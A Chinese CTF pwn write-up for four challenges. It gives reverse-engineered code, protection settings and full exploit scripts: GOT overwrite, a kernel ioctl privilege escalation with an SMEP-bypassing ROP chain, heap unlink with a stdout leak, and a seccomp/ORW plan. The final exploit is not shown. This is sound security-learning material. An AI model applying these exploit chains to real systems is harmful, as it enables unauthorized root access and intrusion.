wtcl
bjut Description:
本题由北京工业大学GXY提供 作业在线提交系统是你在家自学的好帮手 nc 121.37.167.199 9997
Solution: 一道盲 pwn,利用负数来泄露程序和 libc,因为不会找 got 地址,看不懂程序写的啥
所以就接着爆破,-1800 多下标有很多地方可以泄露 got 表,改成 one_gadget 就好了,libc 是 2.29
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) if debug == 1 : p = process('./hw' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) libc_one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] else : p = remote('121.37.167.199' , 9997 ) libc = ELF('./libc.so.6' , checksec=False ) libc_one_gadget = [0xe237f , 0xe2383 , 0xe2386 , 0x106ef8 ] def add (add_length, add_content) : p.sendlineafter(' ######################## \n>' , '1' ) p.sendlineafter('The length of your hw:\n' , str(add_length)) p.sendlineafter('Input your hw:\n' , add_content) def edit (edit_idx, edit_content) : p.sendlineafter('#### \n>' , '2' ) p.sendlineafter('The index of your hw:\n' , str(edit_idx)) p.sendafter('Input your hw:\n' , edit_content) def show (show_idx) : p.sendlineafter(' ######################## \n>' , '4' ) p.sendlineafter('The index of your hw:\n' , str(show_idx)) if p.recv(3 ) == 'out' : return 'NULL.tmp' p.recvuntil('hw:\n' ) def submit () : p.sendline('5' ) j = -1879 add(0x10 , '/bin/sh\x00' ) show(j) base_padding = '' for i in range(3 ): base_padding += p.recvuntil('\x7f\x00\x00' ) res = p.recvuntil('\x7f\x00\x00' ) base_padding += res[-8 :] addr_puts = u64(res[-8 :]) libcbase = addr_puts - libc.sym['write' ] addr_system = libcbase + libc.sym['system' ] addr_one_gadget = libcbase + libc_one_gadget[0 ] success('addr_puts = ' + hex(addr_puts)) success('addr_system = ' + hex(addr_system)) base_padding = p64(addr_one_gadget) * 8 edit(j, base_padding) submit() p.interactive()
Flag:
babyhacker Description:
本题由广州大学Team233战队提供。 baby kernel, have a try. nc 121.36.215.224 9001
Solution: 程序保护如下:
1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
startvm.sh 文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash timeout --foreground 15 qemu-system-x86_64 \ -m 512M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=2,threads=4 \ -cpu qemu64,smep,smap 2>/dev/null
这里调试的时候 15 改大点,不然就 15 秒连接时间,kaslr 改成 nokaslr
rcS 文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #!/bin/sh mount -t proc none /proc mount -t devtmpfs none /dev mkdir /dev/pts mount /dev/pts insmod /home/pwn/babyhacker.ko chmod 644 /dev/babyhacker echo 0 > /proc/sys/kernel/dmesg_restrictecho 0 > /proc/sys/kernel/kptr_restrictcd /home/pwnchown -R root /flag chmod 400 /flag chown -R 1000:1000 . setsid cttyhack setuidgid 1000 sh umount /proc poweroff -f
利用 lsmod 找到 nokaslr 的时候模块加载基地址为 0xffffffffc0000000,于是调试代码如下:
1 gdb-multiarch ./vmlinux -ex "set architecture i386:x86-64" -ex "add-symbol-file ./babyhacker.ko 0xffffffffc0000000" -ex "target remote localhost:2222"
主要函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __int64 __fastcall babyhacker_ioctl (file *file, unsigned int cmd, unsigned __int64 arg) { __int64 v3; file *rdx1; signed __int16 v5; int v4[80 ]; unsigned __int64 v8; __int64 v9; _fentry__(file); v9 = v3; v5 = (signed __int16)rdx1; v8 = __readgsqword(0x28 u); switch ( cmd ) { case 0x30001 u: babyhacker_ioctl_0(rdx1, *(__int64 *)&cmd, (unsigned __int64)rdx1, (__int64)&v9); break ; case 0x30002 u: copy_to_user(rdx1, v4, buffersize); break ; case 0x30000 u: if ( (signed int )rdx1 >= 11 ) v5 = 10 ; buffersize = v5; break ; } return 0L L; }
v5 是 di,rdx1 是 signed int,所以我们可以输入负数,靠这个负数值的后两位当作 buffersize 的大小,我设置的大小是 0x200
之后靠 0x30002 来泄露栈内数据,用 0x30001 来写入数据即可
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 #include <err.h> #include <fcntl.h> #include <stdint.h> struct trap_frame { void *rip; uint64_t cs; uint64_t rflags; void * rsp; uint64_t ss; }__attribute__((packed)); struct trap_frame tf ;uint64_t (*commit_creds)(uint64_t cred) = 0xffffffff810a1430 ;uint64_t (*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810a1820 ;void shell () { system("/bin/sh" ); } void templine () { commit_creds(prepare_kernel_cred(0 )); asm ( "movq $tf, %rsp;" "swapgs;" "iretq;" ); } void save_status () { asm ( "mov %%cs, %0;" "mov %%ss,%1;" "mov %%rsp,%3;" "pushfq;" "popq %2;" :"=r" (tf.cs), "=r" (tf.ss), "=r" (tf.rflags), "=r" (tf.rsp) : : "memory" ); tf.rsp -= 0x1000 ; tf.rip = &shell; } int main (int argc, char *argv[]) { save_status(); uint64_t temp[0x200 ]; int driver_fd = open("/dev/babyhacker" , O_RDONLY); if (driver_fd < 0 ){ err(2 , "open failed" ); } ioctl(driver_fd, 0x30000 , -2147483136 ); ioctl(driver_fd, 0x30002 , &temp); int i; for (i = 0 ; i < 0x30 ; ++i){ printf ("[0x%03x] %p\n" , i, temp[i]); } uint64_t stack_no_kaslr = 0xffffffff82311720 ; uint64_t stackbase = temp[0x005 ] - stack_no_kaslr; uint64_t iCanary = temp[0x028 ]; uint64_t rop_pop_rdi_ret = stackbase + 0xffffffff8109054d ; uint64_t rop_mov_cr4_rdi = stackbase + 0xffffffff81004d70 ; commit_creds += stackbase; prepare_kernel_cred += stackbase; printf ("[+]stack_no_kaslr = %p\n" , stack_no_kaslr); printf ("[+]iCanary = %p\n" , iCanary); printf ("[+]rop_pop_rdi_ret = %p\n" , rop_pop_rdi_ret); printf ("[+]rop_mov_cr4_rdi = %p\n" , rop_mov_cr4_rdi); printf ("[+]commit_creds = %p\n" , commit_creds); printf ("[+]prepare_kernel_cred = %p\n" , prepare_kernel_cred); i = 0x28 ; temp[i++] = iCanary; i++; temp[i++] = rop_pop_rdi_ret; temp[i++] = 0x6f0 ; temp[i++] = rop_mov_cr4_rdi; i++; temp[i++] = &templine; ioctl(driver_fd, 0x30001 , &temp); return 0 ; }
Flag: 1 flag{B4by_k3rler_1s_such_2_3aby!!!!!!!!!!!!!!}
babyhacker2 题跟 babyhacker 一样,可能因为 babyhacker 的 flag 忘删了就补了一个 2
这两题我当时没做,以为很难……
easyheap Description:
本题由南京航空航天大学Asuri战队提供 Just a easy heap nc 121.36.209.145 9997
Solution: 程序保护如下:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int v3; sub_4007F6(); puts ("Welcome to message manager!" ); while ( 1 ) { while ( 1 ) { menu(); v3 = input(); if ( v3 != 2 ) break ; delete (); } if ( v3 > 2 ) { if ( v3 == 3 ) { edit(); } else { if ( v3 == 4 ) exit (0 ); LABEL_13: puts ("Wrong choice!!!" ); } } else { if ( v3 != 1 ) goto LABEL_13; add(); } } }
add 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int add () { void **v1; signed int i; int nbytes; for ( i = 0 ; ptr[i]; ++i ) ; if ( i > 2 ) return puts ("Too many items!" ); ptr[i] = malloc (0x10 uLL); puts ("How long is this message?" ); nbytes = input(); if ( nbytes > 1024 ) return puts ("Too much size!" ); *(ptr[i] + 2 ) = nbytes; v1 = ptr[i]; *v1 = malloc (nbytes); puts ("What is the content of the message?" ); read(0 , *ptr[i], nbytes); return puts ("Add successfully." ); }
这有漏洞点,可以看到如果输入的长度大于 0x400 的话会无法分配那个任意大小的 chunk,但是无论如何都会给你分配一个 0x20 的堆块
delete 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int delete () { int v1; if ( ++dword_6020AC > 4 ) return puts ("Delete failed." ); puts ("What is the index of the item to be deleted?" ); v1 = input(); if ( v1 < 0 || v1 > 6 || !ptr[v1] ) return puts ("Delete failed." ); free (*ptr[v1]); free (ptr[v1]); ptr[v1] = 0L L; return puts ("Delete successfully." ); }
edit 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int edit () { int v1; if ( ++dword_6020B0 > 6 ) return puts ("Delete failed." ); puts ("What is the index of the item to be modified?" ); v1 = input(); if ( v1 < 0 || v1 > 6 || !ptr[v1] ) return puts ("Edit failed." ); puts ("What is the content of the message?" ); read(0 , *ptr[v1], *(ptr[v1] + 2 )); return puts ("Edit successfully." ); }
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *debug = 2 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./easyheap' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('121.36.209.145' , 9997 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./easyheap' , checksec=False ) def add (add_len, add_content) : p.sendafter('Your choice:\n' , '1' ) p.sendafter('How long is this message?\n' , str(add_len)) if add_len > 0x400 : return p.sendafter('What is the content of the message?\n' , add_content) def delete (delete_idx) : p.sendafter('Your choice:\n' , '2' ) p.sendafter('item to be deleted?\n' , str(delete_idx)) def edit (edit_idx, edit_content) : p.sendafter('Your choice:\n' , '3' ) p.sendafter('item to be modified?\n' , str(edit_idx)) p.sendafter('the message?\n' , str(edit_content)) got_atoi = elf.got['atoi' ] plt_puts = elf.plt['puts' ] addr_ptr = 0x6020C0 addr_stdout = 0x602080 add(0x500 , '0' ) add(0x500 , '1' ) add(0x60 , '2' ) delete(1 ) delete(2 ) add(0x500 , '1' ) pd = p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0xa0 ) + p64(0x21 ) pd += p64(addr_ptr - 0x38 ) edit(1 , pd) pd = p64(0x1000 ) pd += p64(0 ) + p64(0 ) pd += p64(0 ) + p64(0 ) pd += p64(0xffffffffffffffff ) + p64(0xffffffffffffffff ) pd += p64(addr_stdout) + p64(addr_ptr + 8 ) + p64(0x1000 ) * 2 edit(1 , pd) pd = p64(0xfbad1887 ) pd += p64(0 ) * 3 pd += '\x00' edit(0 , pd) p.recv(0x18 ) addr__IO_file_jumps = u64(p.recv(6 ).ljust(8 , '\x00' )) addr_system = addr__IO_file_jumps - 0x37e350 libcbase = addr_system - libc.sym['system' ] edit(1 , p64(addr_ptr + 0x10 ) + p64(got_atoi)) edit(1 , p64(addr_system)) p.sendline('/bin/sh' ) success('_IO_file_jumps = ' + hex(addr__IO_file_jumps)) success('addr_system = ' + hex(addr_system)) p.interactive()
Flag: 1 flag{asinsdfweusadqnmzposlakkdf}
lgd Description:
本题由陆军工程大学str4nge战队提供 nc 121.36.209.145 9998
Solution: 程序保护如下:
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
程序开了 seccomp,保护如下:
1 2 3 4 5 6 7 8 9 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0006 0004: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x06 0x00 0x00 0x00000000 return KILL
所以这道题只能 orw 了,不过今天用 shellcraft.cat() 函数发现了其实还可以 open 加上 sendfile,大致调用如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ──────────────────────────────────────[ REGISTERS ]─────────────────────────────────────── RAX 0x28 RBX 0x0 RCX 0x603314 ← 0x89487fffffffba41 RDX 0x0 RDI 0x1 RSI 0x3 R8 0x0 R9 0x0 R10 0x7fffffff R11 0x346 R12 0x0 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x603588 ← 0x67616c662f /* '/flag' */ RIP 0x603324 ← 0x50f ────────────────────────────────────────[ DISASM ]──────────────────────────────────────── ► 0x603324 syscall <SYS_sendfile> out_fd: 0x1 in_fd: 0x3 offset: 0x0 count: 0x7fffffff
接下来看函数流程即漏洞,这破题加了一堆没用的代码就是为了恶心人……
以下所有 emmm 函数一律没用
题目知识点:
snprintf 函数原型为:
1 int snprintf (char *str, size_t size, const char *format, ...)
将可变参数 "..." 按照 format 的格式格式化为字符串,然后再将其拷贝至str中
如果格式化后的字符串长度 ≥ size,则只将其中的 (size - 1) 个字符复制到 str 中,并给其后添加一个字符串结束符 \x00
返回值为格式化后的字符串长度,也就是说该返回值我们是可以控制的
main 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 void __fastcall main (__int64 a1, char **a2, char **a3) { int v3; char buf; unsigned __int64 v5; v5 = __readfsqword(0x28 u); no_use_1(); no_use_1(); seccomp(); puts ("----------------dalao-----------ddddddddddddaidaidaidaidai wo-----------------------------" ); puts ("----------------dalao-----------ddddddddddddaidaidaidaidai wo-----------------------------" ); puts ("----------------dalao-----------ddddddddddddaidaidaidaidai wo-----------------------------" ); puts ("son call babaaa,what is your name? " ); read(0 , &buf, 0x100 uLL); while ( 1 ) { menu(); _isoc99_scanf("%d" , &v3); switch ( v3 ) { case 1 : add(); break ; case 2 : delete (); break ; case 3 : show(); break ; case 4 : edit(); break ; case 5 : exit (0 ); return ; default : puts ("Invalid choice" ); break ; } } }
add 函数如下(漏洞点):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 unsigned __int64 add () { int v0; int v1; int v2; bool v3; int v4; int v5; int v7; int i; unsigned __int64 v9; v9 = __readfsqword(0x28 u); for ( i = 0 ; i <= 31 && buf[i]; ++i ) ; if ( i == 32 ) { puts ("full!" ); } else { puts ("______?" ); _isoc99_scanf("%d" , &v7); if ( v7 >= 0 && v7 <= 0x1000 ) { buf[i] = malloc (v7); puts ("start_the_game,yes_or_no?" ); read(0 , &input_603060, 0x200 uLL); if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } v7 = snprintf (byte_6033E0, v7, "%s" , &input_603060); if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } if ( dword_603010 <= dword_60303C ) v0 = dword_603040; else v0 = dword_60303C; if ( v0 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C ) v1 = dword_60303C; else v1 = dword_603040; dword_60303C = v1; if ( dword_603010 <= v1 ) v2 = dword_603040; else v2 = dword_60303C; if ( v2 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C ) v3 = dword_60303C != 0 ; else v3 = dword_603040 != 0 ; if ( v3 ) { if ( dword_603010 <= dword_60303C ) v4 = dword_603040; else v4 = dword_60303C; if ( v4 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C ) v5 = dword_60303C; else v5 = dword_603040; size[i] = v5; } else { size[i] = v7; } if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { puts ("invalid __" ); } } return __readfsqword(0x28 u) ^ v9; }
挑挑拣拣 add 函数其实就是如下功能,只要你输入的字符串长度大于申请的堆块大小:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 unsigned __int64 add () { int v7; int i; unsigned __int64 v9; v9 = __readfsqword(0x28 u); for ( i = 0 ; i <= 31 && buf[i]; ++i ) ; if ( i == 32 ) { puts ("full!" ); } else { puts ("______?" ); _isoc99_scanf("%d" , &v7); if ( v7 >= 0 && v7 <= 0x1000 ) { buf[i] = malloc (v7); puts ("start_the_game,yes_or_no?" ); read(0 , &input_603060, 0x200 uLL); v7 = snprintf (byte_6033E0, v7, "%s" , &input_603060); size[i] = v7; } return __readfsqword(0x28 u) ^ v9; }
这个漏洞是结合 edit 函数一起用的
edit 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 unsigned __int64 edit () { int v0; int v1; int v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); puts ("index ?" ); _isoc99_scanf("%d" , &v3); if ( v3 >= 0 && v3 <= 31 && buf[v3] ) { puts ("___c___r__s__++___c___new_content ?" ); if ( dword_603010 <= dword_60303C ) v0 = dword_603040; else v0 = dword_60303C; if ( v0 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C ) v1 = dword_60303C; else v1 = dword_603040; dword_60303C = v1; read(0 , buf[v3], size[v3]); } else { puts ("invalid index" ); } return __readfsqword(0x28 u) ^ v4; }
也就是你能在堆块里随意越界写,这题就开始走白给路线了
delete 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 unsigned __int64 delete () { int v0; int v1; int v2; char *v3; int v4; char *v5; int v7; unsigned __int64 v8; v8 = __readfsqword(0x28 u); puts ("index ?" ); _isoc99_scanf("%d" , &v7); if ( v7 >= 0 && v7 <= 31 && buf[v7] ) { if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } free (buf[v7]); if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 ) { if ( dword_603010 * dword_603010 > dword_60303C ) emmm(dword_603010, dword_60303C + 1 , dword_603040); } else { emmm( dword_603010, dword_60303C + 1 , dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0 )); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } } else { emmm(dword_603010, dword_60303C + 1 , dword_60303C % dword_603010); } } else { emmm(dword_603010, dword_60303C + 1 , dword_603040); } if ( dword_603010 <= dword_60303C ) v0 = dword_603040; else v0 = dword_60303C; if ( v0 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C ) v1 = dword_60303C; else v1 = dword_603040; dword_60303C = v1; if ( v1 ) { if ( dword_603010 <= dword_60303C ) v2 = dword_603040; else v2 = dword_60303C; if ( v2 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C ) v3 = dword_60303C; else v3 = dword_603040; buf[v7] = v3; } else { if ( dword_603010 <= dword_60303C ) v4 = dword_603040; else v4 = dword_60303C; if ( v4 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C ) v5 = dword_60303C; else v5 = dword_603040; buf[v7] = v5; } } else { puts ("invalid index" ); } return __readfsqword(0x28 u) ^ v8; }
这个函数也是废话一大堆,挑挑拣拣后如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 delete () { char *v5; int v7; unsigned __int64 v8; v8 = __readfsqword(0x28 u); puts ("index ?" ); _isoc99_scanf("%d" , &v7); if ( v7 >= 0 && v7 <= 31 && buf[v7] ) { free (buf[v7]); v5 = 0 ; buf[v7] = v5; } else { puts ("invalid index" ); } return __readfsqword(0x28 u) ^ v8; }
说白了就正常 free 一个函数
show 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 show () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("index ?" ); _isoc99_scanf("%d" , &v1); if ( v1 >= 0 && v1 <= 31 && buf[v1] ) puts (buf[v1]); else puts ("invalid index" ); return __readfsqword(0x28 u) ^ v2; }
很正常的 show 函数
解题思路:
利用点就是靠越界写:double free,unlink 都可以,这里我用的 unlink
一开始泄露 libc 很容易,没啥烦人的地方,之后 unlink 改 __malloc_hook 为 csu 中最后 pop 那一段
记得还要带个 rsp + 8,以此可以跳转到一开始你输入名字的栈地址,达成栈迁移的作用
注意只有 __malloc_hook 满足这个条件,反正我试 __free_hook 失败了
在写名字的地方利用 csu 写入函数read(0, addr_bss, 0x500);
来为之后输入 rop 和 shellcode 做铺垫
程序开了 nx 保护不妨碍 rop,利用上面的 read 函数在 bss 段利用 csu 构造好 mprotect 函数的调用,将 bss 段地址变成可执行 shellcode 的地址
rop 里再写上返回地址 (shellcode 地址),和 shellcode 就完事了
exp 如下:
